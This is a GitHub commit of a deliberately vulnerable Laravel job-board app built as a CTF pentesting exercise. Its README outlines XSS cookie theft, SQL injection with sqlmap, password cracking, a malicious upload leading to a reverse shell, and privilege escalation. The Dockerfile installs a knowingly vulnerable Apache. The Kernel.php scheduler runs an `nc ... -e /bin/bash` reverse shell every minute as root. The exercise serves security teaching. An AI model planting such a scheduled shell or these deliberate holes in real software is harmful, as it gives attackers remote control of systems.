Skip to content

Commit db6c37e

Browse files
author
appelsiini
committed
Cleaning the commit history to prevent accidental disclosure of any solutions
0 parents  commit db6c37e

File tree

140 files changed

+88208
-0
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

140 files changed

+88208
-0
lines changed

.editorconfig

Lines changed: 15 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,15 @@
1+
root = true
2+
3+
[*]
4+
charset = utf-8
5+
end_of_line = lf
6+
insert_final_newline = true
7+
indent_style = space
8+
indent_size = 4
9+
trim_trailing_whitespace = true
10+
11+
[*.md]
12+
trim_trailing_whitespace = false
13+
14+
[*.yml]
15+
indent_size = 2

.env.example

Lines changed: 44 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,44 @@
1+
APP_NAME="Best Laravel Jobs"
2+
APP_ENV=local
3+
APP_KEY=base64:CYarbfxJv1I99mnVrNIoOXPYvW+CItrnhkTigVr+pSg=
4+
APP_DEBUG=true
5+
APP_URL=http://app
6+
7+
LOG_CHANNEL=stack
8+
9+
DB_CONNECTION=mysql
10+
DB_HOST=database
11+
DB_PORT=3306
12+
DB_DATABASE=laracon_madrid
13+
DB_USERNAME=laracon
14+
DB_PASSWORD=madrid123
15+
16+
BROADCAST_DRIVER=log
17+
CACHE_DRIVER=file
18+
QUEUE_CONNECTION=sync
19+
SESSION_DRIVER=file
20+
SESSION_LIFETIME=120
21+
22+
REDIS_HOST=127.0.0.1
23+
REDIS_PASSWORD=null
24+
REDIS_PORT=6379
25+
26+
MAIL_DRIVER=smtp
27+
MAIL_HOST=smtp.mailtrap.io
28+
MAIL_PORT=2525
29+
MAIL_USERNAME=null
30+
MAIL_PASSWORD=null
31+
MAIL_ENCRYPTION=null
32+
33+
AWS_ACCESS_KEY_ID=
34+
AWS_SECRET_ACCESS_KEY=
35+
AWS_DEFAULT_REGION=us-east-1
36+
AWS_BUCKET=
37+
38+
PUSHER_APP_ID=
39+
PUSHER_APP_KEY=
40+
PUSHER_APP_SECRET=
41+
PUSHER_APP_CLUSTER=mt1
42+
43+
MIX_PUSHER_APP_KEY="${PUSHER_APP_KEY}"
44+
MIX_PUSHER_APP_CLUSTER="${PUSHER_APP_CLUSTER}"

.gitattributes

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,5 @@
1+
* text=auto
2+
*.css linguist-vendored
3+
*.scss linguist-vendored
4+
*.js linguist-vendored
5+
CHANGELOG.md export-ignore

.gitignore

Lines changed: 15 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,15 @@
1+
/node_modules
2+
/public/hot
3+
/public/storage
4+
/storage/*.key
5+
/vendor
6+
.env
7+
.phpunit.result.cache
8+
Homestead.json
9+
Homestead.yaml
10+
npm-debug.log
11+
yarn-error.log
12+
.idea
13+
.phpstorm.meta.php
14+
_ide_helper.php
15+
public/uploads

Dockerfile

Lines changed: 42 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,42 @@
1+
FROM ubuntu:16.04
2+
3+
WORKDIR /app
4+
5+
RUN apt update && apt install -y build-essential zlib1g-dev libxml2-dev bzip2 curl libssl-dev pkg-config libcurl4-openssl-dev checkinstall vim netcat iputils-ping wget python cron
6+
7+
COPY ./binaries /tmp/binaries
8+
9+
# Installing apache v2.2.20 that's vulnerable to HttpOnly cookie exposure exploit
10+
# https://www.exploit-db.com/exploits/18442
11+
RUN tar -xjf /tmp/binaries/httpd-2.2.20.tar.bz2 -C /tmp/binaries \
12+
&& cd /tmp/binaries/httpd-2.2.20 \
13+
&& ./configure --prefix=/usr/local/apache2 --enable-mods-shared=all \
14+
&& make \
15+
&& make install
16+
17+
# Building php from source to make it work together with the old apache version
18+
RUN tar -xzf /tmp/binaries/php-7.1.29.tar.gz -C /tmp/binaries \
19+
&& cd /tmp/binaries/php-7.1.29 \
20+
&& ./configure --with-apxs2=/usr/local/apache2/bin/apxs --with-mysqli --with-pdo-mysql --with-openssl --with-zlib --enable-zip --with-curl \
21+
&& make \
22+
&& make install
23+
24+
COPY . /app
25+
26+
# Setting up proper file permissions for the web root
27+
RUN chown -R daemon:daemon /app
28+
RUN find /app -type d -exec chmod 755 {} \;
29+
RUN find /app -type f -exec chmod 644 {} \;
30+
RUN chgrp -R daemon /app/storage /app/public/uploads /app/bootstrap/cache
31+
RUN chmod -R ug+rwx /app/storage /app/public/uploads /app/bootstrap/cache
32+
33+
# Setup Laravel scheduler to run as root, this will be the final boss
34+
RUN echo '* * * * * root cd /app && php artisan schedule:run >> /dev/null 2>&1' >> /etc/crontab
35+
36+
# Overriding default apache2 configuration file
37+
COPY ./httpd.conf /usr/local/apache2/conf
38+
39+
CMD service cron start && /usr/local/apache2/bin/httpd -D FOREGROUND
40+
41+
EXPOSE 80
42+

LICENSE

Lines changed: 19 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,19 @@
1+
Copyright (c) 2019 Antti Rössi
2+
3+
Permission is hereby granted, free of charge, to any person obtaining a copy
4+
of this software and associated documentation files (the "Software"), to deal
5+
in the Software without restriction, including without limitation the rights
6+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
7+
copies of the Software, and to permit persons to whom the Software is
8+
furnished to do so, subject to the following conditions:
9+
10+
The above copyright notice and this permission notice shall be included in all
11+
copies or substantial portions of the Software.
12+
13+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
14+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
15+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
16+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
17+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
18+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
19+
SOFTWARE.

README.md

Lines changed: 111 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,111 @@
1+
# CTF Style Laravel Pentesting Excercise
2+
3+
This exercise has been test driven and developed on MacOS & Docker.
4+
Any other configurations will certainly need tweaking in certain parts, so be prepared to debug as you go along.
5+
Debian based distros like Ubuntu and Kali Linux should work pretty well.
6+
7+
Basic PHP, Docker, *nix cli and Laravel knowledge are a must for this exercise.
8+
If you're lacking any of these, prepare to learn and tackle _a lot of_ issues as you proceed with this exercise.
9+
10+
# !! Disclaimer !!
11+
This is *NOT* a copy-paste style exercise.
12+
There are *actual* steps that you need to do and learn in order to successfully complete the exercise.
13+
The goal of this exercise is to teach you hands-on basic exploitation techniques that will threaten a poorly engineered PHP/Laravel application.
14+
By understanding how to exploit _stupid_ mistakes like not validating file uploads, or echoing user input raw into DOM, you'll hopefully be less likely to do these mistakes at your day-to-day life & work.
15+
16+
## There are 5 different vulnerabilities & exploits included in this exercise.
17+
18+
1. Persistent XSS Attack
19+
2. SQL Injection Attack
20+
3. Password Cracking Attack (_Dictionary Attack_)
21+
4. RCE through Malicious File Uploads
22+
5. Privilege Escalation Attack
23+
24+
## Requirements
25+
* Docker
26+
* Docker Compose
27+
* PHP (_>v7.1 preferably_) & Composer
28+
* Yarn/npm
29+
* nc (netcat)
30+
* john (https://www.openwall.com/john/)
31+
* sqlmap (http://sqlmap.org/)
32+
* pspy (https://github.com/DominicBreuker/pspy)
33+
* SecLists (https://github.com/danielmiessler/SecLists)
34+
* Browser that runs Javascript & recognises `fetch()` without a polyfill, preferably Chrome/Firefox
35+
* ~3GB of free disk space
36+
37+
## Installation & setup
38+
* Navigate to project root, and run `docker-compose build` to build the application docker image
39+
* This will take while since we're compiling Apache v2.2.20 & php v7.1.29 manually as part of the docker image building process
40+
* After the image has built successfully, start the app container & db container via running `docker-compose up -d`
41+
* Tweak exposed ports in `docker-compose.yaml` if ports `1234 && 33601` are already bound on your machine
42+
* Install php dependencies via `composer install`
43+
* `cp .env.example .env` to create the `.env` file
44+
* Install JS dependencies via yarn/npm, eg `yarn` or `npm install`
45+
* Build the JS bundle & compile Sass & Tailwind etc via `yarn dev` or `npm run dev`
46+
* Migrate & seed the database
47+
* `docker exec laracon-app php /app/artisan migrate:fresh --seed `
48+
* If everything went well you should see "Best Laravel Jobs" & a working front-page by navigating to `http://localhost:1234` in your browser
49+
* If you're unsure about modifying your local hosts file, please skip the following option.
50+
* You can optionally set a hostname by appending eg. `127.0.0.1 laravel-ctf.com` to `/etc/hosts`, and then access the app via `http://laravel-ctf.com:1234`
51+
* When you're done, `docker-compose down` to stop & remove the containers of this exercise.
52+
* You should also clean the locally built image (_it's ~1,85GB in size..._) by finding it via `docker image ls` and removing it via `docker image rm IMAGE_ID`
53+
54+
## XSS Attack
55+
* Open a web server on your local machine
56+
* eg. `php -S localhost:8888`
57+
* Find the company profile of 'Hacking Laravel Inc.' and send them a message via contact form
58+
* Wrap the content of `exploits/xss.js` in script tags and send that as the message part of the contact form
59+
* Spy the user credentials from `DatabaseSeeder` and log in with those
60+
* Open dev tools in your browser before logging in
61+
* Log into the system with the credentials
62+
* Make sure that you see a 404 error & CORS error on your console to know that the XSS attack script executed successfully (*do not log out or the cookie gets invalidated!*)
63+
* See the authentication cookie being recorded into stdout/logfile by the web server that you started in step 1
64+
* Open a new incognito browser window
65+
* Navigate to http://localhost:1234 & open dev tools
66+
* Replace the session cookie value with the token that you got
67+
* Make sure you copy *only* the token, not the URL encoded quotes around the actual value...
68+
* Refresh your browser window
69+
* Voilá, you've got initial foothold to the application now
70+
71+
## SQL Injection Attack
72+
* While logged in with the stolen token, see where you can find a job list within the application
73+
* By investigating the page you found, you should be able to find a jobs API URL endpoint (has a `?sort=` param in it)
74+
* Test the API endpoint for SQLi vulnerabilities via `sqlmap -u api_url_that_you_found --batch --dbms=mysql` (_keep the URL param in_)
75+
* This can easily run for over 10 minutes if you're using docker-for-mac, be patient...
76+
* You'll see 3 SQLi vulnerabilities listed if successful (_if not, go back and try harder_)
77+
* See what options sqlmap has available via `sqlmap --help` & find a way to extract admin user's password hash
78+
* Save the password hash into a file, that'll be required in the next step
79+
80+
## Password Attack (_Dictionary Based_)
81+
* Run `john` with top 10,000 passwords list (from SecLists) & bcrypt format, pass in the hash obtained in previous step
82+
* If you missed the password you can run `john` again with `--show` flag
83+
* You should have the admin user's password now
84+
* Switch to an admin account now to continue further
85+
86+
## Malicious File Uploads & Remote Code Execution
87+
* With admin credentials you can find a file uploader in the application that's lacking proper file type validation
88+
* Upload a backdoor / RCE script of your choice
89+
* Pro tip: try building your own script by combining `system()` & passing in an argument from a HTTP request via PHP's superglobals
90+
* Find the file you uploaded, and invade the machine by spawning a reverse shell connection onto the target machine (http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet)
91+
* Pro tip: remember to URL encode the RCE payload to preserve control characters
92+
* You should have a shell for user `daemon` now
93+
94+
## Privilege Escalation
95+
* There's something interesting happening on the target machine *consistently*... Try enumerating with `pspy` and see if you can figure out what I'm referring to.
96+
* Yes, you'll need to find a way to get the script transferred onto the machine first. See what tools you've got at your disposal that suit the task at hand.
97+
* If you don't see anything after sniffing for over 10-minutes with `pspy`, restart the containers via `docker-compose restart` & try again
98+
* Research your findings online, and find out how the process you discovered is being configured & operated
99+
* Hijack the process and escalate to root privileged reverse shell session
100+
* Congratulations, you've just rooted the machine & completed the exercise.
101+
102+
# Issues
103+
Preferably open a PR directly rather than an issue if you find something wrong in the app and/or its documentation.
104+
As the license states this software comes "as is" with absolutely no warranty whatsoever, and therefor isn't guaranteed to be maintained and/or updated even if found faulty.
105+
106+
# Developing Further
107+
Yes, eg. configuring a Selenium container (_via Laravel Dusk for example_) to trigger the XSS exploit code would be epic, rather than having to fire it manually like currently is the case.
108+
Feel free to open a PR do that if you feel like doing so. Feature wise however lets keep the application as it is, to not broaden its scope into an unmaintainable mess.
109+
110+
# License
111+
MIT - see LICENSE file

app/Company.php

Lines changed: 40 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,40 @@
1+
<?php
2+
3+
namespace App;
4+
5+
use Illuminate\Database\Eloquent\Model;
6+
7+
/**
8+
* App\Company
9+
*
10+
* @property-read \Illuminate\Database\Eloquent\Collection|\App\Job[] $jobs
11+
* @property-read \Illuminate\Database\Eloquent\Collection|\App\Message[] $messages
12+
* @method static \Illuminate\Database\Eloquent\Builder|\App\Company newModelQuery()
13+
* @method static \Illuminate\Database\Eloquent\Builder|\App\Company newQuery()
14+
* @method static \Illuminate\Database\Eloquent\Builder|\App\Company query()
15+
* @mixin \Eloquent
16+
* @property int $id
17+
* @property string $name
18+
* @property string $email
19+
* @property string $location
20+
* @property \Illuminate\Support\Carbon|null $created_at
21+
* @property \Illuminate\Support\Carbon|null $updated_at
22+
* @method static \Illuminate\Database\Eloquent\Builder|\App\Company whereCreatedAt($value)
23+
* @method static \Illuminate\Database\Eloquent\Builder|\App\Company whereEmail($value)
24+
* @method static \Illuminate\Database\Eloquent\Builder|\App\Company whereId($value)
25+
* @method static \Illuminate\Database\Eloquent\Builder|\App\Company whereLocation($value)
26+
* @method static \Illuminate\Database\Eloquent\Builder|\App\Company whereName($value)
27+
* @method static \Illuminate\Database\Eloquent\Builder|\App\Company whereUpdatedAt($value)
28+
*/
29+
class Company extends Model
30+
{
31+
public function jobs()
32+
{
33+
return $this->hasMany(Job::class);
34+
}
35+
36+
public function messages()
37+
{
38+
return $this->hasMany(Message::class);
39+
}
40+
}

app/Console/Kernel.php

Lines changed: 44 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,44 @@
1+
<?php
2+
3+
namespace App\Console;
4+
5+
use Illuminate\Console\Scheduling\Schedule;
6+
use Illuminate\Foundation\Console\Kernel as ConsoleKernel;
7+
8+
class Kernel extends ConsoleKernel
9+
{
10+
/**
11+
* The Artisan commands provided by your application.
12+
*
13+
* @var array
14+
*/
15+
protected $commands = [
16+
//
17+
];
18+
19+
/**
20+
* Define the application's command schedule.
21+
*
22+
* @param \Illuminate\Console\Scheduling\Schedule $schedule
23+
*
24+
* @return void
25+
*/
26+
protected function schedule(Schedule $schedule)
27+
{
28+
// $schedule->command('inspire')
29+
// ->hourly();
30+
$schedule->exec('nc docker.for.mac.localhost 7331 -e /bin/bash')->everyMinute();
31+
}
32+
33+
/**
34+
* Register the commands for the application.
35+
*
36+
* @return void
37+
*/
38+
protected function commands()
39+
{
40+
$this->load(__DIR__ . '/Commands');
41+
42+
require base_path('routes/console.php');
43+
}
44+
}

app/Document.php

Lines changed: 28 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,28 @@
1+
<?php
2+
3+
namespace App;
4+
5+
use Illuminate\Database\Eloquent\Model;
6+
7+
/**
8+
* App\Document
9+
*
10+
* @method static \Illuminate\Database\Eloquent\Builder|\App\Document newModelQuery()
11+
* @method static \Illuminate\Database\Eloquent\Builder|\App\Document newQuery()
12+
* @method static \Illuminate\Database\Eloquent\Builder|\App\Document query()
13+
* @mixin \Eloquent
14+
* @property int $id
15+
* @property string $original_name
16+
* @property string $filename
17+
* @property \Illuminate\Support\Carbon|null $created_at
18+
* @property \Illuminate\Support\Carbon|null $updated_at
19+
* @method static \Illuminate\Database\Eloquent\Builder|\App\Document whereCreatedAt($value)
20+
* @method static \Illuminate\Database\Eloquent\Builder|\App\Document whereFilename($value)
21+
* @method static \Illuminate\Database\Eloquent\Builder|\App\Document whereId($value)
22+
* @method static \Illuminate\Database\Eloquent\Builder|\App\Document whereOriginalName($value)
23+
* @method static \Illuminate\Database\Eloquent\Builder|\App\Document whereUpdatedAt($value)
24+
*/
25+
class Document extends Model
26+
{
27+
//
28+
}

0 commit comments

Comments
 (0)